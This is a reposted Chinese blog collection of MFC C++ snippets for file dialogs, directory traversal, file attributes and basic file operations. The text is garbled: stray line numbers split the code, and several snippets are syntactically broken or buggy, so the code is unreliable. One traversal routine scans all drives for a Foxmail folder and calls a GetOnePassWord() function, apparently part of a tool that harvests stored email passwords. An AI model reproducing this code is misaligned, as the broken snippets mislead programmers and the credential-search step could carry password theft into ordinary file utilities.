MFC文件(转)
转自: http://blog.csdn.net/qqtian1110/article/details/5855203
1、
5、转自: http://hi.baidu.com/gclsoft/blog/item/d526b963128211dae6113ac1.html
1、
1
//
打开文件对话框 获取路径
2
CFileDialog dlg(
1
,NULL,NULL,OFN_HIDEREADONLY ,
"
All Files(*.*)|*.*||
"
);
3
if
(IDOK
!=
dlg.DoModal())
4
return
;
5
FilePath
=
dlg.GetPathName();
6
2、
2
3
4
5
6
1
//
打开文件夹 获取路径
2
BROWSEINFO bi;
3
char
dispname[MAX_PATH], path[MAX_PATH];
4
ITEMIDLIST
*
pidl;
5
bi.hwndOwner
=
0
;
6
bi.pidlRoot
=
0
;
7
bi.pszDisplayName
=
dispname;
8
bi.lpszTitle
=
"
选择文件夹
"
;
9
bi.ulFlags
=
BIF_RETURNONLYFSDIRS;
10
bi.lpfn
=
0
;
11
bi.lParam
=
0
;
12
bi.iImage
=
0
;
13
if
(pidl
=
SHBrowseForFolder(
&
bi))
//
弹出文件夹浏览窗口,并选取目录
14![]()
{
15
if( SHGetPathFromIDList(pidl, path) == TRUE )
16
FilePath = path ;
17
else
18
FilePath.Empty();
19
UpdateData(FALSE);
20
}
3、//遍历每个磁盘下的所有文件、文件夹
2
3
4
5
6
7
8
9
10
11
12
13
14

15
16
17
18
19
20
1
void
TCFindFile(CString FilePath)
2![]()
{
3
OutputDebugString("TCFindFile");
4
CFileFind find;
5
CString Dir = FilePath+"*.*";
6
7
BOOL res =find.FindFile(Dir);
8
9
//OutputDebugString(Dir);
10
if (!res)
11![]()
{
12
OutputDebugString("DiskScanOver!");
13
return;
14
}
15
16
while(res)
17![]()
{
18
CString Filename;
19
CString tmp;
20
res = find.FindNextFile();
21
if (find.IsDirectory() && !find.IsDots()) //目录是文件夹
22![]()
{
23
Filename = find.GetFileName();
24
tmp = Dir.Left(Dir.GetLength() - 3) + Filename;
25
if (Filename == "Foxmail")
26![]()
{
27
//执行后续操作
28
OutputDebugString(tmp);
29
TheRightFoxmailPath = tmp;
30
OutputDebugString("GetPWDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD");
31
GetOnePassWord();
32
return;
33
}
34
tmp += "//";
35
TCFindFile(tmp);
36
}
37
}
38
}
4、
2

3
4
5
6
7
8
9
10
11

12
13
14
15
16
17

18
19
20
21
22

23
24
25
26

27
28
29
30
31
32
33
34
35
36
37
38
1
//
获取指定目录下的所有文件函数
2
BOOL GetFileProc(CString strDir)
3![]()
{
4
CFileFind szFind;
5
char szTempFileFind[MAX_PATH];
6
sprintf(szTempFileFind, "%s//*.*", strDir);
7
BOOL IsFind = szFind.FindFile(szTempFileFind);
8
while(IsFind)
9![]()
{
10
IsFind = szFind.FindNextFile();
11
if (!szFind.IsDots()) //掉除"."/".."
12![]()
{
13
if (!szFind.IsDirectory()) //不是目录
14![]()
{
15
char szFoundFileName[MAX_PATH] = "/0";
16
lstrcpy(szFoundFileName, szFind.GetFileName().GetBuffer(MAX_PATH));
17
18
if (szFoundFileName[0]))
19![]()
{
20
char szTempFile[MAX_PATH];
21
sprintf(szTempFile, "%s//%s", strDir,szFoundFileName);
22
23
//处理这个文件
24
}
25
}
26
}
27
}
28
szFind.Close();
29
return TRUE;
30
}
2
3

4
5
6
7
8
9

10
11
12

13
14

15
16
17
18
19

20
21
22
23
24
25
26
27
28
29
30
5、转自: http://hi.baidu.com/gclsoft/blog/item/d526b963128211dae6113ac1.html
1
//
MFC 获取文件属性
2
3
UpdateData(TRUE);
4
//
在打开文件对话框中选择文件
5
CFileDialog FileDlg(TRUE,NULL,NULL,OFN_HIDEREADONLY,
"
All Files (*.*)|*.*||
"
);
6
//
如果未打开文件,则返回
7
if
(FileDlg.DoModal()
==
IDCANCEL)
return
;
8
//
获取打开文件的路径
9
m_strFileName
=
FileDlg.GetPathName();
10
//
声明文件属性变量
11
CFileStatus status;
12![]()
13
CFile::GetStatus(m_strFileName, status);
14
//
获取文件名
15
m_strFullName.Format(
"
文件名: %s
"
,status.m_szFullName);
16
//
获取文件大小
17
m_strSize.Format(
"
文件大小: %d字节
"
,status.m_size);
18
//
获取文件的创建时间
19
m_strCreateTime
=
status.m_ctime.Format(
"
创建时间: %Y年%m月%d日 %H:%M:%S
"
);
20
//
获取文件的修改时间
21
m_strModifyTime
=
status.m_mtime.Format(
"
修改时间: %Y年%m月%d日 %H:%M:%S
"
);
22
//
获取文件的最后访问时间
23
m_strAccessTime
=
status.m_atime.Format(
"
访问时间: %Y年%m月%d日
"
);
24
//
获取文件属性
25
m_strAttribute.Format(
"
属性: %s%s%s%s
"
,
26
(status.m_attribute
&
CFile::readOnly)
==
CFile::readOnly
?
"
只读
"
:
""
,
27
(status.m_attribute
&
CFile::hidden)
==
CFile::hidden
?
"
隐藏
"
:
""
,
28
(status.m_attribute
&
CFile::system)
==
CFile::system
?
"
系统
"
:
""
,
29
(status.m_attribute
&
CFile::archive)
==
CFile::archive
?
"
存档
"
:
""
);
30![]()
31
UpdateData(FALSE);
//网上下载
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1
//
1.创建文件夹
2
CreateDirectory(
%%
1
,NULL);
3
//
2.创建文件
4
CFile file;
5
file.Open(
%%
1
,CFile::modeCreate
|
CFile::modeWrite);
?
6
//
3.删除文件
7
DeleteFile(
%%
1
);
8
//
4.删除文件夹 RemoveDirectory(%%1);
9
//
5.删除一个目录下所有的文件夹
10
CFileFind finder;
11
BOOL bWorking
=
finder.FindFile(
%%
1
+
"
\\*.*
"
);
12
while
(bWorking)
13![]()
{
14
bWorking = finder.FindNextFile();
15
if(finder.IsDirectory())
16![]()
{
17
dir.Delete(finder.GetFilePath());
18
}
19
}
20
//
6.清空文件夹
21
RemoveDirectory(
%%
1
);
22
CreateDirectory(
%%
1
,NULL)
23
//
7.读取文件
24
char
sRead[
1024
];
25
CFile mFile(_T(
%%
1
),CFile::modeRead);
26
while
(sRead
!=
null
)
27![]()
{
28
mFile.Read(sRead,1024);
29
CString %%2 = CString(sRead);
30
}
31
//
8.写入文件
32
CFile mFile(_T(
%%
1
),CFile::modeWrite
|
CFile::modeCreate);
33
mFile.Write(
%%
2
,
sizeof
(
%%
2
)); mFile.Flush(); mFile.Close();
2
3
4
5
6
7
8
9
10
11
12
13

14
15
16

17
18
19
20
21
22
23
24
25
26
27

28
29
30
31
32
33